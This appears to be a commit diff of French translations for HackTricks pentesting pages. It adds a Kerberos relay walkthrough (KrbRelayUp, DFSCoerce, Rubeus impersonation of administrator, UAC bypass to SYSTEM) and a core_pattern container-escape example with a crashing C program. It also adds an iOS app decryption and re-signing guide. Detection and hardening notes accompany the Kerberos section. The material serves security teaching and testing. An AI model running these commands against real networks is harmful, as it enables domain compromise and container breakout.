Translated ['src/generic-methodologies-and-resources/pentesting-network/

2025-10-10 18:36:50 +00:00 · 2025-05-11 15:15:14 +00:00 · 2025-05-11 15:15:14 +00:00 · d2a1871aa2
commit d2a1871aa2
parent f16e55ed38
5 changed files with 239 additions and 45 deletions
--- a/src/SUMMARY.md
+++ b/src/SUMMARY.md
@ -316,6 +316,7 @@
  - [Drozer Tutorial](mobile-pentesting/android-app-pentesting/drozer-tutorial/README.md)
    - [Exploiting Content Providers](mobile-pentesting/android-app-pentesting/drozer-tutorial/exploiting-content-providers.md)
  - [Exploiting a debuggeable application](mobile-pentesting/android-app-pentesting/exploiting-a-debuggeable-applciation.md)
+  - [Flutter](mobile-pentesting/android-app-pentesting/flutter.md)
  - [Frida Tutorial](mobile-pentesting/android-app-pentesting/frida-tutorial/README.md)
    - [Frida Tutorial 1](mobile-pentesting/android-app-pentesting/frida-tutorial/frida-tutorial-1.md)
    - [Frida Tutorial 2](mobile-pentesting/android-app-pentesting/frida-tutorial/frida-tutorial-2.md)
@ -342,6 +343,7 @@
  - [iOS Extracting Entitlements From Compiled Application](mobile-pentesting/ios-pentesting/extracting-entitlements-from-compiled-application.md)
  - [iOS Frida Configuration](mobile-pentesting/ios-pentesting/frida-configuration-in-ios.md)
  - [iOS Hooking With Objection](mobile-pentesting/ios-pentesting/ios-hooking-with-objection.md)
+  - [iOS Pentesting withuot Jailbreak](mobile-pentesting/ios-pentesting/ios-pentesting-without-jailbreak.md)
  - [iOS Protocol Handlers](mobile-pentesting/ios-pentesting/ios-protocol-handlers.md)
  - [iOS Serialisation and Encoding](mobile-pentesting/ios-pentesting/ios-serialisation-and-encoding.md)
  - [iOS Testing Environment](mobile-pentesting/ios-pentesting/ios-testing-environment.md)
--- a/src/generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md
+++ b/src/generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md
@ -1,4 +1,4 @@
-# Spoofing LLMNR, NBT-NS, mDNS/DNS et WPAD et Attaques de Relais
+# Spoofing LLMNR, NBT-NS, mDNS/DNS et WPAD et Attaques de Relay

 {{#include ../../banners/hacktricks-training.md}}

@ -43,7 +43,7 @@

 ### Capture de Credentials avec Responder

- Responder usurpera des services en utilisant les protocoles mentionnés ci-dessus, capturant des credentials (généralement NTLMv2 Challenge/Response) lorsqu'un utilisateur tente de s'authentifier contre les services usurpés.
+- Responder usurpera des services en utilisant les protocoles mentionnés ci-dessus, capturant des credentials (généralement NTLMv2 Challenge/Réponse) lorsqu'un utilisateur tente de s'authentifier contre les services usurpés.
 - Des tentatives peuvent être faites pour rétrograder à NetNTLMv1 ou désactiver ESS pour un craquage de credentials plus facile.

 Il est crucial de noter que l'utilisation de ces techniques doit être effectuée légalement et éthiquement, en s'assurant d'une autorisation appropriée et en évitant toute perturbation ou accès non autorisé.
@ -52,7 +52,7 @@ Il est crucial de noter que l'utilisation de ces techniques doit être effectué

 Inveigh est un outil pour les testeurs de pénétration et les équipes rouges, conçu pour les systèmes Windows. Il offre des fonctionnalités similaires à Responder, effectuant des attaques de spoofing et de man-in-the-middle. L'outil a évolué d'un script PowerShell à un binaire C#, avec [**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) et [**InveighZero**](https://github.com/Kevin-Robertson/InveighZero) comme versions principales. Des paramètres détaillés et des instructions peuvent être trouvés dans le [**wiki**](https://github.com/Kevin-Robertson/Inveigh/wiki/Parameters).

-Inveigh peut être opéré via PowerShell :
+Inveigh peut être utilisé via PowerShell :
 ```bash
 Invoke-Inveigh -NBNS Y -ConsoleOutput Y -FileOutput Y
 ```
@ -69,7 +69,7 @@ Cette attaque exploite les sessions d'authentification SMB pour accéder à une

 #### 445 Port Forwarding and Tunneling

-Dans les scénarios où l'introduction directe dans le réseau n'est pas réalisable, le trafic sur le port 445 doit être redirigé et tunnélisé. Des outils comme [**PortBender**](https://github.com/praetorian-inc/PortBender) aident à rediriger le trafic du port 445 vers un autre port, ce qui est essentiel lorsque l'accès admin local est disponible pour le chargement de pilotes.
+Dans les scénarios où l'introduction directe dans le réseau n'est pas faisable, le trafic sur le port 445 doit être redirigé et tunnelé. Des outils comme [**PortBender**](https://github.com/praetorian-inc/PortBender) aident à rediriger le trafic du port 445 vers un autre port, ce qui est essentiel lorsque l'accès admin local est disponible pour le chargement de pilotes.

 PortBender setup and operation in Cobalt Strike:
 ```bash
@ -87,10 +87,10 @@ beacon> jobkill 0
 beacon> rportfwd stop 8445
 beacon> socks stop
 ```
-### Autres Outils pour l'Attaque par Relais NTLM
+### Autres Outils pour l'Attaque de Relais NTLM

 - **Metasploit** : Configuré avec des proxies, des détails sur les hôtes locaux et distants.
- **smbrelayx** : Un script Python pour relayer des sessions SMB et exécuter des commandes ou déployer des portes dérobées.
+- **smbrelayx** : Un script Python pour relayer les sessions SMB et exécuter des commandes ou déployer des portes dérobées.
 - **MultiRelay** : Un outil de la suite Responder pour relayer des utilisateurs spécifiques ou tous les utilisateurs, exécuter des commandes ou extraire des hachages.

 Chaque outil peut être configuré pour fonctionner via un proxy SOCKS si nécessaire, permettant des attaques même avec un accès réseau indirect.
@ -105,16 +105,119 @@ python MultiRelay.py -t <IP target> -u ALL -d # Dump hashes

 # Proxychains for routing traffic
 ```
-Ces outils et techniques forment un ensemble complet pour mener des attaques par relais NTLM dans divers environnements réseau.
+Ces outils et techniques forment un ensemble complet pour mener des attaques de relais NTLM dans divers environnements réseau.

 ### Forcer les connexions NTLM

-Dans Windows, vous **pouvez être en mesure de forcer certains comptes privilégiés à s'authentifier sur des machines arbitraires**. Lisez la page suivante pour apprendre comment :
+Sous Windows, vous **pouvez être en mesure de forcer certains comptes privilégiés à s'authentifier sur des machines arbitraires**. Lisez la page suivante pour apprendre comment :

 {{#ref}}
 ../../windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md
 {{#endref}}

+## Attaque de relais Kerberos
+
+Une **attaque de relais Kerberos** vole un **ticket AP-REQ** d'un service et le réutilise contre un second service qui partage la **même clé de compte d'ordinateur** (car les deux SPN se trouvent sur le même compte d'ordinateur `$`). Cela fonctionne même si les **classes de service des SPN diffèrent** (par exemple, `CIFS/` → `LDAP/`) car la *clé* qui déchiffre le ticket est le hachage NT de la machine, et non la chaîne SPN elle-même, et la chaîne SPN ne fait pas partie de la signature.
+
+Contrairement au relais NTLM, le saut est limité à la *même hôte*, mais si vous ciblez un protocole qui vous permet d'écrire sur LDAP, vous pouvez enchaîner vers la **Délégation Contraignante Basée sur les Ressources (RBCD)** ou **l'enrôlement AD CS** et obtenir **NT AUTHORITY\SYSTEM** en un seul coup.
+
+Pour des informations détaillées sur cette attaque, consultez :
+
+- [https://googleprojectzero.blogspot.com/2021/10/using-kerberos-for-authentication-relay.html](https://googleprojectzero.blogspot.com/2021/10/using-kerberos-for-authentication-relay.html)
+- [https://decoder.cloud/2025/04/24/from-ntlm-relay-to-kerberos-relay-everything-you-need-to-know/](https://decoder.cloud/2025/04/24/from-ntlm-relay-to-kerberos-relay-everything-you-need-to-know/)
+
+- 1. **Bases de Kerberos**
+
+| Token | But | Pertinence du relais |
+|-------|-----|----------------------|
+| **TGT / AS-REQ ↔ REP** | Prouve l'utilisateur au KDC | intact |
+| **Ticket de service / TGS-REQ ↔ REP** | Lié à un **SPN** ; chiffré avec la clé du propriétaire du SPN | interchangeable si les SPN partagent le compte |
+| **AP-REQ** | Le client envoie `TGS` au service | **ce que nous volons et rejouons** |
+
+* Les tickets sont chiffrés avec la **clé dérivée du mot de passe du compte qui possède le SPN**.
+* L'**Authentificateur** à l'intérieur de l'AP-REQ a un horodatage de 5 minutes ; la relecture à l'intérieur de cette fenêtre est valide jusqu'à ce que le cache de service voie un duplicata.
+* Windows vérifie rarement si la chaîne SPN dans le ticket correspond au service que vous atteignez, donc un ticket pour `CIFS/HOST` se déchiffre normalement bien sur `LDAP/HOST`.
+
+- 2. **Ce qui doit être vrai pour relayer Kerberos**
+
+1. **Clé partagée :** les SPN source et cible appartiennent au même compte d'ordinateur (par défaut sur les serveurs Windows).
+2. **Pas de protection de canal :** SMB/LDAP désactivé et EPA désactivé pour HTTP/LDAPS.
+3. **Vous pouvez intercepter ou contraindre l'authentification :** poison LLMNR/NBNS, spoof DNS, **PetitPotam / DFSCoerce RPC**, faux AuthIP, DCOM malveillant, etc.
+4. **Source du ticket non déjà utilisée :** vous gagnez la course avant que le vrai paquet n'atteigne ou le bloquez entièrement ; sinon, le cache de relecture du serveur déclenche l'Événement 4649.
+5. Vous devez d'une manière ou d'une autre être capable d'effectuer un **MitM dans la communication**, peut-être en faisant partie du groupe DNSAmins pour modifier le DNS du domaine ou en étant capable de changer le fichier HOST de la victime.
+
+### Étapes de relais Kerberos
+
+- 3.1 **Reconnaître l'hôte**
+```powershell
+# find servers where HTTP, LDAP or CIFS share the same machine account
+Get-ADComputer -Filter * -Properties servicePrincipalName |
+Where-Object {$_.servicePrincipalName -match '(HTTP|LDAP|CIFS)'} |
+Select Name,servicePrincipalName
+```
+- 3.2 **Démarrer l'écouteur de relais**
+
+[KrbRelayUp](https://github.com/Dec0ne/KrbRelayUp)
+```powershell
+# one-click local SYSTEM via RBCD
+.\KrbRelayUp.exe relay --spn "ldap/DC01.lab.local" --method rbcd --clsid 90f18417-f0f1-484e-9d3c-59dceee5dbd8
+```
+`KrbRelayUp` encapsule **KrbRelay → LDAP → RBCD → Rubeus → contournement SCM** dans un seul binaire.
+
+- 3.3 **Forcer l'authentification Kerberos**
+```powershell
+# coerce DC to auth over SMB with DFSCoerce
+.\dfscoerce.exe --target \\DC01.lab.local --listener 10.0.0.50
+```
+DFSCoerce fait en sorte que le DC nous envoie un ticket Kerberos `CIFS/DC01`.
+
+- 3.4 **Relayer l'AP-REQ**
+
+KrbRelay extrait le blob GSS de SMB, le reconditionne en un bind LDAP et le transfère à `ldap://DC01`—l'authentification réussit car la **même clé** le déchiffre.
+
+- 3.5 **Abuser de LDAP ➜ RBCD ➜ SYSTEM**
+```powershell
+# (auto inside KrbRelayUp) manual for clarity
+New-MachineAccount -Name "FAKE01" -Password "P@ss123"
+KrbRelay.exe -spn ldap/DC01 -rbcd FAKE01_SID
+Rubeus s4u /user:FAKE01$ /rc4:<hash> /impersonateuser:administrator /msdsspn:HOST/DC01 /ptt
+SCMUACBypass.exe
+```
+Vous possédez maintenant **NT AUTHORITY\SYSTEM**.
+
+### **D'autres chemins à connaître**
+
+| Vecteur | Astuce | Pourquoi c'est important |
+|---------|--------|-------------------------|
+| **AuthIP / IPSec** | Un faux serveur envoie une **charge utile GSS-ID** avec n'importe quel SPN ; le client construit un AP-REQ directement vers vous | Fonctionne même à travers des sous-réseaux ; les identifiants de machine par défaut |
+| **DCOM / MSRPC** | Un résolveur OXID malveillant force le client à s'authentifier à un SPN et un port arbitraires | Élévation de privilèges *locale* pure ; contourne le pare-feu |
+| **AD CS Web Enroll** | Relayer le ticket machine vers `HTTP/CA` et obtenir un certificat, puis **PKINIT** pour créer des TGT | Contourne les défenses de signature LDAP |
+| **Shadow Credentials** | Écrire `msDS-KeyCredentialLink`, puis PKINIT avec une paire de clés forgée | Pas besoin d'ajouter un compte d'ordinateur |
+
+### **Dépannage**
+
+| Erreur | Signification | Correction |
+|--------|---------------|------------|
+| `KRB_AP_ERR_MODIFIED` | Clé de ticket ≠ clé cible | Mauvais hôte/SPN |
+| `KRB_AP_ERR_SKEW` | Horloge > 5 min de décalage | Synchroniser l'heure ou utiliser `w32tm` |
+| Échec de liaison LDAP | Signature appliquée | Utiliser le chemin AD CS ou désactiver la signature |
+| Spam d'événement 4649 | Le service a vu un Authenticator en double | bloquer ou faire la course avec le paquet original |
+
+### **Détection**
+
+* Augmentation de **l'événement 4769** pour `CIFS/`, `HTTP/`, `LDAP/` provenant de la même source en quelques secondes.
+* **L'événement 4649** sur le service indique qu'un replay a été détecté.
+* Une connexion Kerberos depuis **127.0.0.1** (relai vers SCM local) est très suspecte—cartographier via la règle Sigma dans la documentation de KrbRelayUp.
+* Surveiller les changements des attributs `msDS-AllowedToActOnBehalfOfOtherIdentity` ou `msDS-KeyCredentialLink`.
+
+## **Renforcement**
+
+1. **Appliquer la signature LDAP & SMB + EPA** sur chaque serveur.
+2. **Séparer les SPNs** afin que HTTP ne soit pas sur le même compte que CIFS/LDAP.
+3. Corriger les vecteurs de coercition (PetitPotam KB5005413, DFS, AuthIP).
+4. Définir **`ms-DS-MachineAccountQuota = 0`** pour arrêter les ajouts de machines non autorisées.
+5. Alerter sur **l'événement 4649** et les connexions Kerberos de boucle locale inattendues.
+
 ## Références

 - [https://intrinium.com/smb-relay-attack-tutorial/](https://intrinium.com/smb-relay-attack-tutorial/)
--- a/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/sensitive-mounts.md
+++ b/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/sensitive-mounts.md
@ -2,11 +2,11 @@

 {{#include ../../../../banners/hacktricks-training.md}}

-L'exposition de `/proc`, `/sys` et `/var` sans une isolation appropriée des espaces de noms introduit des risques de sécurité significatifs, y compris l'augmentation de la surface d'attaque et la divulgation d'informations. Ces répertoires contiennent des fichiers sensibles qui, s'ils sont mal configurés ou accessibles par un utilisateur non autorisé, peuvent conduire à une évasion de conteneur, à une modification de l'hôte ou fournir des informations aidant à d'autres attaques. Par exemple, le montage incorrect de `-v /proc:/host/proc` peut contourner la protection AppArmor en raison de sa nature basée sur le chemin, laissant `/host/proc` non protégé.
+L'exposition de `/proc`, `/sys` et `/var` sans isolation de namespace appropriée introduit des risques de sécurité significatifs, y compris l'augmentation de la surface d'attaque et la divulgation d'informations. Ces répertoires contiennent des fichiers sensibles qui, s'ils sont mal configurés ou accessibles par un utilisateur non autorisé, peuvent conduire à une évasion de conteneur, à une modification de l'hôte ou fournir des informations aidant à d'autres attaques. Par exemple, monter incorrectement `-v /proc:/host/proc` peut contourner la protection AppArmor en raison de sa nature basée sur le chemin, laissant `/host/proc` non protégé.

 **Vous pouvez trouver plus de détails sur chaque vulnérabilité potentielle dans** [**https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts**](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts)**.**

-## Vulnérabilités de procfs
+## vulnérabilités procfs

 ### `/proc/sys`

@ -15,16 +15,28 @@ Ce répertoire permet d'accéder à la modification des variables du noyau, gén
 #### **`/proc/sys/kernel/core_pattern`**

 - Décrit dans [core(5)](https://man7.org/linux/man-pages/man5/core.5.html).
- Permet de définir un programme à exécuter lors de la génération d'un fichier core avec les 128 premiers octets comme arguments. Cela peut conduire à une exécution de code si le fichier commence par un pipe `|`.
+- Si vous pouvez écrire dans ce fichier, il est possible d'écrire un pipe `|` suivi du chemin vers un programme ou un script qui sera exécuté après qu'un crash se produise.
+- Un attaquant peut trouver le chemin à l'intérieur de l'hôte vers son conteneur en exécutant `mount` et écrire le chemin vers un binaire à l'intérieur de son système de fichiers de conteneur. Ensuite, provoquer un crash d'un programme pour faire exécuter le binaire en dehors du conteneur.
+
 - **Exemple de test et d'exploitation** :
-
 ```bash
-[ -w /proc/sys/kernel/core_pattern ] && echo Yes # Tester l'accès en écriture
+[ -w /proc/sys/kernel/core_pattern ] && echo Yes # Test write access
 cd /proc/sys/kernel
-echo "|$overlay/shell.sh" > core_pattern # Définir un gestionnaire personnalisé
-sleep 5 && ./crash & # Déclencher le gestionnaire
+echo "|$overlay/shell.sh" > core_pattern # Set custom handler
+sleep 5 && ./crash & # Trigger handler
 ```
+Vérifiez [ce post](https://pwning.systems/posts/escaping-containers-for-fun/) pour plus d'informations.

+Exemple de programme qui plante :
+```c
+int main(void) {
+char buf[1];
+for (int i = 0; i < 100; i++) {
+buf[i] = 1;
+}
+return 0;
+}
+```
 #### **`/proc/sys/kernel/modprobe`**

 - Détails dans [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
@ -43,14 +55,14 @@ ls -l $(cat /proc/sys/kernel/modprobe) # Vérifier l'accès à modprobe
 #### **`/proc/sys/fs`**

 - Selon [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html), contient des options et des informations sur le système de fichiers.
- L'accès en écriture peut permettre divers attaques par déni de service contre l'hôte.
+- Un accès en écriture peut permettre divers attaques par déni de service contre l'hôte.

 #### **`/proc/sys/fs/binfmt_misc`**

 - Permet d'enregistrer des interprètes pour des formats binaires non natifs en fonction de leur numéro magique.
 - Peut conduire à une élévation de privilèges ou à un accès shell root si `/proc/sys/fs/binfmt_misc/register` est accessible en écriture.
 - Exploit pertinent et explication :
- [Poor man's rootkit via binfmt_misc](https://github.com/toffan/binfmt_misc)
+- [Rootkit de pauvre via binfmt_misc](https://github.com/toffan/binfmt_misc)
 - Tutoriel approfondi : [Lien vidéo](https://www.youtube.com/watch?v=WBC7hhgMvQQ)

 ### Autres dans `/proc`
@ -71,14 +83,14 @@ echo b > /proc/sysrq-trigger # Redémarre l'hôte

 #### **`/proc/kmsg`**

- Expose les messages du tampon de noyau.
+- Expose les messages du tampon circulaire du noyau.
 - Peut aider dans les exploits du noyau, les fuites d'adresses et fournir des informations sensibles sur le système.

 #### **`/proc/kallsyms`**

 - Liste les symboles exportés par le noyau et leurs adresses.
 - Essentiel pour le développement d'exploits du noyau, en particulier pour surmonter KASLR.
- Les informations d'adresse sont restreintes avec `kptr_restrict` réglé sur `1` ou `2`.
+- Les informations d'adresse sont restreintes avec `kptr_restrict` défini sur `1` ou `2`.
 - Détails dans [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).

 #### **`/proc/[pid]/mem`**
@ -90,7 +102,7 @@ echo b > /proc/sysrq-trigger # Redémarre l'hôte
 #### **`/proc/kcore`**

 - Représente la mémoire physique du système au format ELF core.
- La lecture peut divulguer le contenu de la mémoire du système hôte et d'autres conteneurs.
+- La lecture peut révéler le contenu de la mémoire du système hôte et d'autres conteneurs.
 - La grande taille du fichier peut entraîner des problèmes de lecture ou des plantages de logiciels.
 - Utilisation détaillée dans [Dumping /proc/kcore in 2019](https://schlafwandler.github.io/posts/dumping-/proc/kcore/).

@ -114,7 +126,7 @@ echo b > /proc/sysrq-trigger # Redémarre l'hôte
 - Fournit des informations sur les points de montage dans l'espace de noms de montage du processus.
 - Expose l'emplacement du `rootfs` ou de l'image du conteneur.

-### Vulnérabilités de `/sys`
+### Vulnérabilités `/sys`

 #### **`/sys/kernel/uevent_helper`**

@ -130,7 +142,7 @@ echo "#!/bin/sh" > /evil-helper echo "ps > /output" >> /evil-helper chmod +x /ev

 host*path=$(sed -n 's/.*\perdir=(\[^,]\_).\*/\1/p' /etc/mtab)

-#### Définit uevent_helper sur le gestionnaire malveillant
+#### Définit uevent_helper sur l'assistant malveillant

 echo "$host_path/evil-helper" > /sys/kernel/uevent_helper

@ -148,7 +160,7 @@ cat /output %%%

 #### **`/sys/kernel/vmcoreinfo`**

- Fuit les adresses du noyau, compromettant potentiellement KASLR.
+- Fuit des adresses du noyau, compromettant potentiellement KASLR.

 #### **`/sys/kernel/security`**

@ -158,16 +170,16 @@ cat /output %%%
 #### **`/sys/firmware/efi/vars` et `/sys/firmware/efi/efivars`**

 - Expose des interfaces pour interagir avec les variables EFI dans NVRAM.
- Une mauvaise configuration ou une exploitation peut conduire à des ordinateurs portables brisés ou à des machines hôtes non amorçables.
+- Une mauvaise configuration ou une exploitation peut entraîner des ordinateurs portables brisés ou des machines hôtes non amorçables.

 #### **`/sys/kernel/debug`**

 - `debugfs` offre une interface de débogage "sans règles" au noyau.
 - Historique de problèmes de sécurité en raison de sa nature non restreinte.

-### Vulnérabilités de `/var`
+### Vulnérabilités `/var`

-Le dossier **/var** de l'hôte contient des sockets d'exécution de conteneur et les systèmes de fichiers des conteneurs. Si ce dossier est monté à l'intérieur d'un conteneur, ce conteneur obtiendra un accès en lecture-écriture aux systèmes de fichiers d'autres conteneurs avec des privilèges root. Cela peut être abusé pour pivoter entre les conteneurs, provoquer un déni de service ou créer des portes dérobées dans d'autres conteneurs et applications qui s'exécutent en eux.
+Le dossier **/var** de l'hôte contient des sockets d'exécution de conteneur et les systèmes de fichiers des conteneurs. Si ce dossier est monté à l'intérieur d'un conteneur, ce conteneur obtiendra un accès en lecture-écriture aux systèmes de fichiers d'autres conteneurs avec des privilèges root. Cela peut être abusé pour pivoter entre les conteneurs, provoquer un déni de service ou introduire des portes dérobées dans d'autres conteneurs et applications qui s'exécutent dans ceux-ci.

 #### Kubernetes

@ -220,7 +232,7 @@ L'XSS a été réalisé :

 Notez que le conteneur NE nécessite PAS de redémarrage ou quoi que ce soit. Tous les changements effectués via le dossier monté **/var** seront appliqués instantanément.

-Vous pouvez également remplacer des fichiers de configuration, des binaires, des services, des fichiers d'application et des profils shell pour obtenir un RCE automatique (ou semi-automatique).
+Vous pouvez également remplacer des fichiers de configuration, des binaires, des services, des fichiers d'application et des profils de shell pour obtenir un RCE automatique (ou semi-automatique).

 ##### Accès aux identifiants cloud

--- a/src/mobile-pentesting/ios-pentesting/ios-pentesting-without-jailbreak.md
+++ b/src/mobile-pentesting/ios-pentesting/ios-pentesting-without-jailbreak.md
@ -0,0 +1,73 @@
+# iOS Pentesting without Jailbreak
+
+{{#include ../../banners/hacktricks-training.md}}
+
+## Idée principale
+
+Les applications signées avec l'**entitlement `get_task_allow`** permettent aux applications tierces d'exécuter une fonction appelée **`task_for_pid()`** avec l'ID de processus de l'application initiale comme argument afin d'obtenir le port de tâche sur celui-ci (pouvoir le contrôler et accéder à sa mémoire).
+
+Cependant, ce n'est pas aussi simple que de simplement extraire l'IPA, de le re-signer avec l'entitlement, et de le flasher à nouveau sur votre appareil. Cela est dû à la protection FairPlay. Lorsque la signature de l'application change, la clé DRM (Digital Rights Management) est **invalidée et l'application ne fonctionnera pas**.
+
+Avec un ancien appareil jailbreaké, il est possible d'installer l'IPA, **de le déchiffrer en utilisant votre outil préféré** (comme Iridium ou frida-ios-dump), et de le récupérer de l'appareil. Cependant, si possible, il est recommandé de demander simplement au client l'IPA déchiffré.
+
+## Obtenir l'IPA déchiffré
+
+### Obtenez-le d'Apple
+
+1. Installez l'application à tester sur l'iPhone
+2. Installez et lancez [Apple Configurator](https://apps.apple.com/au/app/apple-configurator/id1037126344?mt=12) sur votre macos
+3. Ouvrez `Terminal` sur votre Mac, et cd à `/Users/[username]/Library/Group\\ Containers/K36BKF7T3D.group.com.apple.configurator/Library/Caches/Assets/TemporaryItems/MobileApps`. L'IPA apparaîtra dans ce dossier plus tard.
+4. Vous devriez voir votre appareil iOS. Double-cliquez dessus, puis cliquez sur Ajouter + → Apps dans la barre de menu en haut.
+5. Après avoir cliqué sur Ajouter, Configurator téléchargera l'IPA depuis Apple et tentera de le pousser sur votre appareil. Si vous avez suivi ma recommandation précédente et installé l'IPA, une invite vous demandant de réinstaller l'application apparaîtra.
+6. L'IPA devrait être téléchargé dans `/Users/[username]/Library/Group\\ Containers/K36BKF7T3D.group.com.apple.configurator/Library/Caches/Assets/TemporaryItems/MobileApps` d'où vous pouvez le récupérer.
+
+Consultez [https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed](https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed) pour des informations plus détaillées sur ce processus.
+
+### Déchiffrer l'application
+
+Pour déchiffrer l'IPA, nous allons l'installer. Cependant, si vous avez un ancien iPhone jailbreaké, il est possible que sa version ne soit pas prise en charge par l'application, car généralement les applications ne prennent en charge que les dernières versions.
+
+Donc, pour l'installer, dézippez simplement l'IPA :
+```bash
+unzip redacted.ipa -d unzipped
+```
+Vérifiez le `Info.plist` pour la version minimale prise en charge et si votre appareil est plus ancien que cela, changez la valeur pour qu'elle soit prise en charge.
+
+Rezippez l'IPA :
+```bash
+cd unzipped
+zip -r ../no-min-version.ipa *
+```
+Ensuite, installez l'IPA par exemple avec :
+```bash
+ideviceinstaller -i no-min-version.ipa -w
+```
+Notez que vous pourriez avoir besoin de **AppSync Unified tweak** de Cydia pour éviter toute erreur de `signature invalide`.
+
+Une fois installé, vous pouvez utiliser **Iridium tweak** de Cydia afin d'obtenir l'IPA décrypté.
+
+
+### Patch des droits et re-signature
+
+Pour re-signer l'application avec le droit `get-task-allow`, plusieurs outils sont disponibles comme `app-signer`, `codesign` et `iResign`. `app-signer` a une interface très conviviale qui permet de re-signer très facilement un fichier IPA en indiquant l'IPA à re-signer, de **le mettre `get-task-allow`** et le certificat et le profil de provisionnement à utiliser.
+
+Concernant le certificat et les profils de signature, Apple propose des **profils de signature de développeur gratuits** pour tous les comptes via Xcode. Il suffit de créer une application et d'en configurer une. Ensuite, configurez l'**iPhone pour faire confiance aux applications de développeur** en naviguant vers `Settings` → `Privacy & Security`, et cliquez sur `Developer Mode`.
+
+
+Avec l'IPA re-signé, il est temps de l'installer sur l'appareil pour le pentester :
+```bash
+ideviceinstaller -i resigned.ipa -w
+```
+### Hook
+
+Vous pouvez facilement accrocher votre application en utilisant des outils courants comme frida et objection :
+```bash
+objection -g [your app bundle ID] explore
+
+```
+## Références
+
+- [https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed](https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed)
+
+
+{{#include ../../banners/hacktricks-training.md}}
--- a/src/mobile-pentesting/ios-pentesting/ios-testing-environment.md
+++ b/src/mobile-pentesting/ios-pentesting/ios-testing-environment.md
@ -6,7 +6,7 @@

 Une **identité de provisionnement** est un ensemble de clés publiques et privées associées à un compte développeur Apple. Pour **signer des applications**, vous devez payer **99$/an** pour vous inscrire au **Programme de développement Apple** afin d'obtenir votre identité de provisionnement. Sans cela, vous ne pourrez pas exécuter des applications à partir du code source sur un appareil physique. Une autre option est d'utiliser un **appareil jailbreaké**.

-À partir de Xcode 7.2, Apple a fourni une option pour créer un **profil de provisionnement de développement iOS gratuit** qui permet d'écrire et de tester votre application sur un véritable iPhone. Allez dans _Xcode_ --> _Préférences_ --> _Comptes_ --> _+_ (Ajouter un nouvel ID Appli avec vos identifiants) --> _Cliquez sur l'Apple ID créé_ --> _Gérer les certificats_ --> _+_ (Développement Apple) --> _Terminé_\
+À partir de Xcode 7.2, Apple a fourni une option pour créer un **profil de provisionnement de développement iOS gratuit** qui permet d'écrire et de tester votre application sur un véritable iPhone. Allez dans _Xcode_ --> _Préférences_ --> _Comptes_ --> _+_ (Ajouter un nouvel ID d'application avec vos identifiants) --> _Cliquez sur l'Apple ID créé_ --> _Gérer les certificats_ --> _+_ (Développement Apple) --> _Terminé_\
 \_\_Ensuite, pour exécuter votre application sur votre iPhone, vous devez d'abord **indiquer à l'iPhone de faire confiance à l'ordinateur.** Ensuite, vous pouvez essayer de **lancer l'application sur le mobile depuis Xcode,** mais une erreur apparaîtra. Allez donc dans _Réglages_ --> _Général_ --> _Profils et gestion des appareils_ --> Sélectionnez le profil non fiable et cliquez sur "**Faire confiance**".

 Notez que **les applications signées par le même certificat de signature peuvent partager des ressources de manière sécurisée, comme des éléments de trousseau**.
@ -42,7 +42,7 @@ Dans `/Users/<username>/Library/Developer/CoreSimulator/Devices`, vous pouvez tr
 xcrun simctl list | grep Booted
 iPhone 8 (BF5DA4F8-6BBE-4EA0-BA16-7E3AFD16C06C) (Booted)
 ```
-Une fois que vous connaissez l'UID, les applications installées peuvent être trouvées dans `/Users/<username>/Library/Developer/CoreSimulator/Devices/{UID}/data/Containers/Data/Application`
+Une fois que vous connaissez le UID, les applications installées peuvent être trouvées dans `/Users/<username>/Library/Developer/CoreSimulator/Devices/{UID}/data/Containers/Data/Application`

 Cependant, étonnamment, vous ne trouverez pas l'application ici. Vous devez accéder à `/Users/<username>/Library/Developer/Xcode/DerivedData/{Application}/Build/Products/Debug-iphonesimulator/`

@ -54,11 +54,15 @@ Corellium est le seul émulateur iOS disponible publiquement. C'est une solution

 ## Pas besoin de Jailbreak

-Consultez cet article de blog sur la façon de pentester une application iOS sur un **appareil non jailbreaké** : [https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed](https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed)
+Consultez cet article de blog sur la façon de pentester une application iOS sur un **appareil non jailbreaké** :
+
+{{#ref}}
+ios-pentesting-without-jailbreak.md
+{{#endref}}

 ## Jailbreaking

-Apple exige strictement que le code exécuté sur l'iPhone soit **signé par un certificat délivré par Apple**. **Jailbreaking** est le processus de contournement actif de telles **restrictions** et d'autres contrôles de sécurité mis en place par le système d'exploitation. Par conséquent, une fois que l'appareil est jailbreaké, la **vérification d'intégrité** qui est responsable de la vérification des applications installées est patchée, donc elle est **contournée**.
+Apple exige strictement que le code exécuté sur l'iPhone soit **signé par un certificat délivré par Apple**. **Le Jailbreaking** est le processus de contournement actif de telles restrictions et d'autres contrôles de sécurité mis en place par le système d'exploitation. Par conséquent, une fois que l'appareil est jailbreaké, la **vérification d'intégrité** qui est responsable de la vérification des applications installées est patchée, donc elle est **contournée**.

 > [!NOTE]
 > Contrairement à Android, **vous ne pouvez pas passer en "Mode Développeur"** sur iOS pour exécuter du code non signé/non fiable sur l'appareil.
@ -67,13 +71,13 @@ Apple exige strictement que le code exécuté sur l'iPhone soit **signé par un

 Bien qu'ils soient souvent comparés, **le rooting** sur Android et **le jailbreaking** sur iOS sont des processus fondamentalement différents. Le rooting des appareils Android peut impliquer **l'installation du binaire `su`** ou **le remplacement du système par un ROM personnalisé rooté**, ce qui ne nécessite pas nécessairement d'exploits si le bootloader est déverrouillé. **Flasher des ROM personnalisées** remplace le système d'exploitation de l'appareil après le déverrouillage du bootloader, nécessitant parfois un exploit.

